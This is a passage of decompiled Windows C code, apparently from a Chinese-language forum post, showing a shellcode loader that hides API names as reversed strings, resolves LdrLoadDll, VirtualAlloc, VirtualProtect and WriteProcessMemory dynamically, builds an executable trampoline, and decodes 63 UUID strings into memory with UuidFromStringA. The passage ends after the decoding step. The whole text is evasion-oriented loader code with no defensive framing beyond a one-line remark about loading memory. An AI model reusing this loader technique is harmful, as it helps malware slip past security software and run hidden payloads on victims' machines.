- sub_40172D(v35, v36);
- sub_40172D(v34, v3);
- sub_40172D(v33, v4);
- strcpy(&v32[10], "llDdaoLrdL");
- strcpy(v32, "lld.lldtn");
- strcpy(ModuleName, "lld.23lenreK");
- sub_4016B0(&v32[10]);
- sub_4016B0(v32);
- sub_4016B0(ModuleName);
- sub_4015E6(v39, v35);
- sub_4015E6(v38, v34);
- sub_4015E6(v37, v33);
- LODWORD(v36[12]) = 48;
- v36[13] = 0i64;
- LODWORD(v36[15]) = 64;
- v36[14] = (__int64)v39;
- v36[16] = 0i64;
- v36[17] = 0i64;
- LODWORD(v36[6]) = 48;
- v36[7] = 0i64;
- LODWORD(v36[9]) = 64;
- v36[8] = (__int64)v38;
- v36[10] = 0i64;
- v36[11] = 0i64;
- LODWORD(v36[0]) = 48;
- v36[1] = 0i64;
- LODWORD(v36[3]) = 64;
- v36[2] = (__int64)v37;
- v36[4] = 0i64;
- v36[5] = 0i64;
- strcpy(v30, "AeldnaHeludoMteG");
- sub_4016B0(v30);
- ModuleHandleA = GetModuleHandleA(ModuleName);
- ProcAddress = GetProcAddress(ModuleHandleA, v30);
- strcpy(v29, "sserddAcorPteG");
- sub_4016B0(v29);
- v6 = (HMODULE)((__int64 (__fastcall *)(CHAR *))ProcAddress)(ModuleName);
- v58 = GetProcAddress(v6, v29);
- strcpy(&v28[15], "collAlautriV");
- sub_4016B0(&v28[15]);
- v7 = GetModuleHandleA(ModuleName);
- v57 = (__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))((__int64 (__fastcall *)(HMODULE, char *))v58)(
- v7,
- &v28[15]);
- strcpy(v28, "tcetorPlautriV");
- sub_4016B0(v28);
- v8 = GetModuleHandleA(ModuleName);
- v56 = (void (__fastcall *)(char *, __int64, __int64, int *))((__int64 (__fastcall *)(HMODULE, char *))v58)(v8, v28);
- v9 = GetModuleHandleA(v32);
- v55 = ((__int64 (__fastcall *)(HMODULE, char *))v58)(v9, &v32[10]);
- v27[0] = 73;
- v27[1] = -69;
- v25[0] = 65;
- v25[1] = -1;
- v25[2] = -29;
- v25[3] = -61;
- v54 = v55 + 5;
- v26 = v55 + 5;
- v53 = (char *)v57(0i64, 19i64, 12288i64, 4i64);
- sub_401550(v53, &unk_407000, 5i64);
- sub_401550(v53 + 5, v27, 2i64);
- sub_401550(v53 + 7, &v26, 8i64);
- sub_401550(v53 + 15, v25, 4i64);
- v24 = 0;
- v56(v53, 30i64, 32i64, &v24);
- v52 = (void (__fastcall *)(_QWORD, _QWORD, char *, __int64 *))v53;
- v23 = 0i64;
- ((void (__fastcall *)(_QWORD, _QWORD, char *, __int64 *))v53)(0i64, 0i64, v39, &v23);
- v22 = 0i64;
- v52(0i64, 0i64, v38, &v22);
- v21 = 0i64;
- v52(0i64, 0i64, v37, &v21);
- v51 = (__int64 (__fastcall *)(__int64, char *))((__int64 (__fastcall *)(__int64, char *))v58)(v22, v29);
- v50 = (__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))v51(v22, &v28[15]);
- v49 = (void (__fastcall *)(__int64, __int64, __int64, char *))v51(v22, v28);
- strcpy(v20, "yromeMssecorPetirW");
- sub_4016B0(v20);
- v48 = (void (__fastcall *)(__int64, __int64, void *, __int64, _QWORD))v51(v22, v20);
- strcpy(v19, "ssecorPtnerruCteG");
- sub_4016B0(v19);
- v47 = (__int64 (*)(void))v51(v22, v19);
- memcpy(StringUuid, off_406020, 0x1F8ui64);
- v46 = 63;
- Block = malloc(0x3F0ui64);
- if ( !Block )
- return -1;
- for ( i = 0; i < v46; ++i )
- {
- if ( UuidFromStringA(StringUuid[i], (UUID *)Block + i) )
- {
- free(Block);
- return -1;
- }
- }
复制代码 动态解析完成函数调用以加载内存。
|